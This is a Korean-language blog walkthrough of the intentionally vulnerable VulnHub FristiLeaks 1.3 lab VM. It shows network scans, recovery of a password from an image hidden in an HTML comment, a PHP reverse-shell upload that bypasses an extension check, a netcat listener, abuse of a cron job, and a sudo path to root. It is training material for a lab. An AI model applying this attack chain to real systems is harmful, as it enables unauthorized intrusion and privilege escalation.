https://www.vulnhub.com/entry/fristileaks-13,133/
실습 환경 : VirtualBox
VirtualBox에서 파일 -> 가상머신 가져오기 -> 다운받은 ova 파일 선택 -> 설정 -> 네트워크 -> 어뎁터에 브릿지
이렇게 설정만 해주었고, 특별한 것은 없었습니다.
정보 수집
└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.64
Host is up (0.00020s latency).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
...
이번엔 가장 흔히 사용하는 포트 1000개에 대해서 포트 스캐닝을 해보겠습니다
└─$ sudo nmap --top-ports 1000 --max-retries 1 --min-rate 1500 -Pn -n --open 192.168.45.64 -oA tcp-1000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-20 17:05 KST
Nmap scan report for 192.168.45.64
Host is up (0.00044s latency).
Not shown: 992 filtered tcp ports (no-response), 7 filtered tcp ports (host-prohibited)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.68 seconds
유일하게 80번 포트만 열려있다.
└─$ nmap -p 80 --max-retries 1 --min-rate 2000 -sV -sC -Pn -n --open 192.168.45.64 -oA tcpDetailed
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-20 17:06 KST
Nmap scan report for 192.168.45.64
Host is up (0.00046s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-robots.txt: 3 disallowed entries
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
| http-methods:
|_ Potentially risky methods: TRACE
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.74 seconds
robots.txt 가 존재하고 허용되지 않는 엔드포인트는 3개가 있다
WEB
대상 호스트의 웹 페이지 페이지 소스에서는 별 다른 점은 없고 주석으로 뭔가 설명하는 글이 적혀있네요
<!-- Welcome to #Fristleaks, a quick hackme VM by @Ar0xA
Goal: get UID 0 (root) and read the special flag file.
Timeframe: should be doable in 4 hours.
-->
robots.txt의 Disallow는 늘 흥미를 불러일으키죠
3개의 엔드포인트는 전부다,,단서가 될만한 것은 없습니다. 페이지 소스에서도 마찬가지였습니다
첫 웹사이트 페이지 사진에 나와있는 단어들을 포함시켜 gobuster를 이용하여 디렉터리 브루트포싱을 진행합니다 robots.txt에 있었던 디렉터리는 제외시킵니다
└─$ cat dirbrute.txt
keep
calm
and
drink
fristi
하나 건졌네요
/fristi 로 접속해봅시다. 혹시 SQL Injection이 될 수도 있으니 ' 를 넣어 테스트해봤는데 취약한점 발견하지 못했다.
페이지 소스를 확인해본 결과
<!--
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.
- by eezeepz
-->
eezeepz 라는 이름을 발견했고, 주석표시된 base64로 인코딩된 코드가 발견되었습니다
<!--
iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==
-->
base64 디코딩을 해봤지만 아닌거 같았고, https://base64.guru/converter/decode/image 사이트에서 이미지로 변환하는 방법을 사용해 봅니다
이번 실습 VM 제작자는 유쾌하신분 인가봅니다..ㅋㅋㅋ
keKkeKKeKKeKkEkkEk 비밀번호일거같은 느낌이 확왔습니다
# credentials
eezeepz:keKkeKKeKKeKkEkkEk
익스플로잇
그러네요 맞습니다. 파일을 업로드하라는 것을 보니 php-reverse-shell.php를 준비해야겠죠?? 바로 준비해서 파일을 업로드해봅시다
그러네요 확장자가 정해져있었어요
└─$ mv php-reverse-shell.php revshell.php.png
확장자를 png로 바꾸고 업로드를하니 성공했습니다. 파일 업로드를하니 파일은 /uploads에 업로드되었다고 친절히 알려주네요
# revse shell listening
└─$ nc -nlvp 3434
파일 업로드 우회 공격을 통해서 대상 호스트에 초기 침투 까지 완료했습니다
권한 상
대상 호스트에 초기 침투까지 완료했습니다. 우선 /etc/passwd 부터 확인을 해줍니다
bash-4.1$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
vboxadd:x:498:1::/var/run/vboxadd:/bin/false
eezeepz:x:500:500::/home/eezeepz:/bin/bash
admin:x:501:501::/home/admin:/bin/bash
fristigod:x:502:502::/var/fristigod:/bin/bash
fristi:x:503:100::/var/www:/sbin/nologin
eezeepz, admin,fristgod 등 3개의 유저에 접근할 수 있을 것으로 예상된다
# /home/eezeepz
bash-4.1$ cat notes.txt
cat notes.txt
Yo EZ,
I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/
Don't forget to specify the full path for each binary!
Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.
- Jerry
해석을 하자면
1. 자동화 체크를 할 수 있게 해놓았는데. /usr/bin 시스템 바이너리에만 접근을 줬다
2. 자주 사용하는 명령어는 Jerry라는 사람의 홈디렉터리에 복사해놨다고 한다 (chmod,df,cat,echo,ps,grep,egrep) 이 명령어는 /home/admin에서 사용가능 -> 꼭 절대 경로로 지정을 해야함
3. /tmp에 runthis 파일을 만들어 명령어를 넣으면,,,,출력은 cronresult 파일로 저장된다. -> 매 분마다 실행되는 cronjob 이다
라고 한다
bash-4.1$ echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis
echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis
bash-4.1$ cd /tmp; ls
cd /tmp; ls
runthis
bash-4.1$ ls
ls
runthis
잠깐 대기한 후
bash-4.1$ ls
ls
cronresult runthis
bash-4.1$ cd /home/admin
cd /home/admin
접근 권한이 없던 디렉터리인 /home/admin으로 접근 성공했다.
bash-4.1$ cat whoisyourgodnow.txt
cat whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
bash-4.1$ cat cryptedpass.txt
cat cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
bash-4.1$ cat cryptpass.py
cat cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
디렉터리에 있는 파일들을 읽어보아하니 암호화된 무언가의 문자 그리고 그것을 인코딩했던 파이썬 코드가 있는것 같다
그전에 파이썬 코드를 가져와서 직접 실행 시켜봐야겠다
└─$ python2 encode.py mVGZ3O3omkJLmy2pcuTq
=RUI1ATplxKoZc0ng92ZCAwJUMIo
└─$ python2 encode.py =RFn0AKnlMHMPIzpyuTI0ITG
UEIFjxRI1yUp6yRHAuHGf52FOOwoTWIC
암호문의 암호문이다. 그렇다면 암호화 시키는 코드를 암호화를 푸는 코드로 변경 후에 실행 시켜본다
import base64,codecs,sys
def encodeString(str):
#encoding
#base64string= base64.b64encode(str)
#return codecs.encode(base64string[::-1], 'rot13')
#decoding
base64decode = codecs.decode(str[::-1], 'rot13')
return base64.b64decode(base64decode)
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
# 실행
└─$ python2 encode.py =RFn0AKnlMHMPIzpyuTI0ITG
LetThereBeFristi!
암호회된 문자열을 디코딩한 후에 fristgod 계정의 비밀번호를 획득했다.
이제 얼마 안남은 것 같다
bash-4.1$ cd
cd
bash-4.1$ pwd
pwd
/var/fristigod
bash-4.1$ ls -al
ls -al
total 16
drwxr-x--- 3 fristigod fristigod 4096 Nov 25 2015 .
drwxr-xr-x. 19 root root 4096 Nov 19 2015 ..
-rw------- 1 fristigod fristigod 864 Nov 25 2015 .bash_history
drwxrwxr-x. 2 fristigod fristigod 4096 Nov 25 2015 .secret_admin_stuff
cd 명령어로 fristigod 유저의 홈디렉터리로 이동한 다음 .bash_history 파일을 한번 흝어본다
/var/fristigod/.secret_admin_stuff/doCom 이 경로에 있는 doCom 은 비밀번호 없이 sudo로 사용이 가능하다 나도 한번 시도해본다
fristi 유저로 실행 시켜야 doCom이 실행되는 것을 확인했다.
bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
Usage: ./program_name terminal_command ...bash-4.1$ id
id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)
이렇게 일회성 쉘을 제공하고 한가지를 입력하면 그것이 실행되는것 같다
bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)
찾았다. bash_history에서 본 것 같이 뒤에 명령어를 붙이면 관리자 권한으로 명령어가 실행된다. sudo를 정상적으로 사용할 수 있으니 당연한 것인가...?
우선 그렇다면 이제 이 문제는 다 풀었다.
이렇게 하면 관리자 권한의 쉘을 획득할 수 있다.
홈 디렉터리를 확인해보라고하고 매우 중요하니 삭제하지 말라고합니다
bash-4.1# cd /root
cd /root
bash-4.1# ls
ls
fristileaks_secrets.txt
bash-4.1# cat fristileaks_secrets.txt
cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]
I wonder if you beat it in the maximum 4 hours it's supposed to take!
Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)
Flag: 이 플래그는 제가 가져갑니다!
'Vulnhub' 카테고리의 다른 글
[Vulnhub] LazySysAdmin Walkthrough (0) | 2024.06.23 |
---|---|
[Vulnhub] stapler Walkthrough (1) | 2024.06.22 |
[Vulnhub] Kioptrix_Level_1.3(#4) Walkthrough (0) | 2024.06.19 |
[Vulnhub] Kioptrix_Level_1.2(#3) Walkthrough (0) | 2024.06.18 |
[Vulnhub] Kioptrix_Level_1.1 (#2) Walkthrough (0) | 2024.06.17 |